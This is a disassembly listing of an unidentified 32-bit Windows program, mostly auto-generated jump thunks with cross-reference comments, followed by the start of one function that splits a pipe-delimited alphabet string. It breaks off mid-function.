sub_401EE7	proc near		; CODE XREF: sub_40A810+13p
		jmp	loc_40A950
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B060:loc_41B0ACp
					; sub_41B950+54p ...
		jmp	sub_4198A0
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:004142C5p
		jmp	sub_415490
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF6	proc near		; CODE XREF: sub_4156C0+34p
					; sub_4161C0+67p
		jmp	sub_416360
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_4152F0+3p
					; ___:00415A4Fp ...
		jmp	sub_415D00
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C10
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_413120+4Dp
		jmp	sub_415370
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418E60+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00419103p
		jmp	sub_419170
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BF1Ap
		jmp	sub_40C250
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B15Fp
		jmp	sub_42ADB0
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_4348A0
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:004240B4o
		jmp	loc_423C10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416A6Bp
					; ___:00439F50j ...
		jmp	sub_417A40
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413B70+99p
		jmp	sub_413D40
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B390+3Dp
					; ___:0040BB2Dp ...
		jmp	sub_40B700
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423CA7p
		jmp	sub_423720
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A3Ep
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B350
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F46	proc near		; CODE XREF: sub_4139B0+72p
		jmp	sub_413670
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_418330+5Fp
					; sub_418940+1Ap ...
		jmp	sub_4189B0
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EFA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E400+B5p
		jmp	sub_42D2C0
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B520+4Bp
					; sub_40B520:loc_40B5ABp ...
		jmp	sub_40BE40
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E400
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A430+142p
		jmp	sub_40A810
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415DD0+9p
					; sub_415E70+18p
		jmp	sub_4166D0
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431B30+1Bp
		jmp	sub_431BE0
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_426450+1Dp
					; sub_4269A0+1Dp ...
		jmp	sub_4264C0
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427DC0+1Dp
					; sub_428160+1Fp ...
		jmp	sub_427E30
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429D73p
		jmp	sub_429DA0
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409600+112p
					; sub_409600+153p
		jmp	sub_409940
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_422600+5p
		jmp	sub_422770
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_413670+6Fp
					; sub_413670+DBp ...
		jmp	sub_4152F0
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FAF	proc near		; CODE XREF: sub_415210+5Ep
					; sub_415BE0+32p
		jmp	sub_415B20
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F030
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412B20+3p
		jmp	sub_412B50
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409D20
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_419950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A0E0+3p
					; sub_41B040+9j ...
		jmp	sub_41A110
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_40BCB0+34p
					; sub_40C120+67p
		jmp	sub_40C040
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432690
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F0B0
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_436300
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EDB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F860+5Ap
		jmp	sub_41FF40
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430380

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416A2Bp
					; ___:00439F88j ...
		jmp	sub_417B00
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416D7Fp
		jmp	sub_413120
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421A80+5p
		jmp	sub_421F80
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:00421654p
		jmp	sub_41BFA0
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+472p ...
		jmp	sub_40A670
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433120
; ---------------------------------------------------------------------------
		jmp	sub_41B3D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422370+Ap
		jmp	sub_422650
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7EAp
		jmp	sub_41B950
sub_402022	endp

; ---------------------------------------------------------------------------


loc_402027:				; DATA XREF: ___:off_43E014o
		jmp	loc_40ADE0
; ---------------------------------------------------------------------------


loc_40202C:				; DATA XREF: ___:off_43E088o
		jmp	loc_42BE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: ___:0040ADE3p
					; ___:0040FEDEp ...
		jmp	sub_40AE10
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_424840+109p
					; sub_424840+178p ...
		jmp	sub_424720
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_4098E0+7p
		jmp	sub_4099D0
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416660+Ap
		jmp	sub_416870
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CB10
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EEEBp
					; sub_42FDD0+EAp
		jmp	sub_433030
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421960+5p
					; sub_421A50+6p ...
		jmp	sub_421EF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FF60+8ADp
					; sub_40FF60+95Ep ...
		jmp	sub_411990
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_40C040+7p
		jmp	sub_40C230
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40205E	proc near		; CODE XREF: sub_418940+34p
					; sub_418E90+67p
		jmp	sub_418CA0
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409B10
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	loc_427FC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_417020+2Bp
					; sub_417020+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_4097D0+14p
		jmp	sub_409830
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427AD0:loc_427CDBp
		jmp	sub_4279F0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_426650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_418330+4Dp
		jmp	sub_418A70
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_415160+5p
					; sub_415310+6p ...
		jmp	sub_415CE0
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_426650+3p
		jmp	sub_426680
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B0F0
; ---------------------------------------------------------------------------
		jmp	loc_421620

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416D4Fp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_413670+83p
					; sub_4144D0+91p ...
		jmp	sub_415310
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EF30
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40A9F0+144p
		jmp	sub_40AD00
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FF50+BAp
					; sub_432980+36p
		jmp	sub_4329F0
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421DF0+23p
					; sub_422240+11p
		jmp	sub_4223E0
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_4220E0+4p
		jmp	sub_4224F0
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A810+3BBp
		jmp	sub_42A440
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A212p
		jmp	sub_41A2B0
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_4168C0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B2D0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415C70+4p
		jmp	sub_416490
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F4B6p
					; ___:0042F518p ...
		jmp	sub_4337E0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418D20+8p
		jmp	sub_418FC0
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020E5	proc near		; CODE XREF: sub_418890+34p
					; sub_418D80+67p
		jmp	sub_418BA0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A6D0+117p
		jmp	sub_41A860
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415AA0+35p
		jmp	sub_416570
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+45Cp
					; sub_4066E0+43p ...
		jmp	sub_409BC0
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BD20+5p
					; sub_40BE60+6p ...
		jmp	sub_40C060
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_4190B0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429A33p
		jmp	sub_429A60
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FF60+F3Dp
					; sub_40FF60+1392p ...
		jmp	sub_4147D0
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_4139B0+38p
					; sub_413DA0+5Fp
		jmp	sub_413510
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A130+14p
					; sub_40A160+7p ...
		jmp	sub_40A180
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A150+157p
		jmp	sub_429D00
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40ABE0+1Ap
					; sub_40AC30+1Ap
		jmp	sub_40ACA0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_415600+3p
					; ___:00415E1Fp ...
		jmp	sub_416050
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FF60
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_4147D0+EDp
		jmp	sub_415830
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BE20+3p
		jmp	sub_40C0A0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BEC0+11p
					; ___:0040BEE7p ...
		jmp	sub_40C1E0
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E660+2C5p
		jmp	sub_4207E0
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D830+652p
		jmp	sub_41C070
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40214E	proc near		; CODE XREF: sub_418BC0+32p
		jmp	sub_418E90
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40EC30+ACp
					; ___:0040F35Dp
		jmp	sub_40ED70
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_4137E0+93p
		jmp	sub_433A20
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_4151D0+1Fp
					; sub_415AA0+2Cp
		jmp	sub_415A00
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:0042541Dp
		jmp	sub_4253E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_420530+17Dp
		jmp	sub_4219D0
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: ___:0042C261p
		jmp	sub_42A090
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409B10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40A9F0+6Ap
					; sub_40A9F0+103p
		jmp	sub_40AC30
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_426620
; ---------------------------------------------------------------------------
		jmp	loc_41AC00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+16p
					; sub_407260+Bp ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B000+1Bp
		jmp	sub_432AD0
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415A5Ap
		jmp	sub_4164E0
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F6B0+ABp
					; sub_430690+1Bp ...
		jmp	sub_430700
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EA90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A3	proc near		; CODE XREF: ___:004086AAp
					; ___:004086CFp ...
		jmp	sub_4198C0
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C710
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B520+55p
		jmp	sub_409FD0
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_428220
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021B7	proc near		; CODE XREF: sub_421AF0+34p
					; sub_422410+67p
		jmp	sub_422130
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C610+1B3p
					; sub_41C610+332p ...
		jmp	sub_41D670
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BC70+11p
					; sub_40BEC0+1Fp
		jmp	sub_40BFF0
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_4245F0+1Ap
					; sub_4246D0+1Bp ...
		jmp	loc_424420
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: ___:004169BBp
		jmp	sub_418940
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BB70
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC80
; ---------------------------------------------------------------------------
		jmp	loc_42EE10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_433160+1Bp
		jmp	sub_4331D0
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E400+101p
		jmp	sub_42DD50
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2D0
; ---------------------------------------------------------------------------
		jmp	locret_418840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_433100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_418330+88p
					; sub_418330+98p
		jmp	sub_418A90
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416ABBp
					; ___:00439F0Aj ...
		jmp	sub_417770
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418AE0+5p
		jmp	sub_418D50
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_414640+3p
		jmp	sub_414670
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F2FBp
					; ___:0042FC27p ...
		jmp	sub_430AD0
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_427600
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F840+102p
					; sub_431730+5Dp ...
		jmp	sub_430810
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413510+5Cp
					; sub_413510+C0p ...
		jmp	sub_415460
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_431410
; ---------------------------------------------------------------------------
		jmp	loc_42F170

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D830+203p
		jmp	sub_42D0D0
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E400+148p
					; sub_42E400+173p
		jmp	sub_42DC70
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E1A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_4133D0+34p
					; sub_4147D0+40p
		jmp	sub_4158F0
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CBB0+1A4p
					; sub_40CF60+ADp
		jmp	sub_40CF60
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E220

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422A40+938p
		jmp	loc_423FA0
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A90
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438CE6j
		jmp	loc_40CEE0
; ---------------------------------------------------------------------------
		db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A87
		push	offset byte_446F70
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]
		call	sub_401681
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
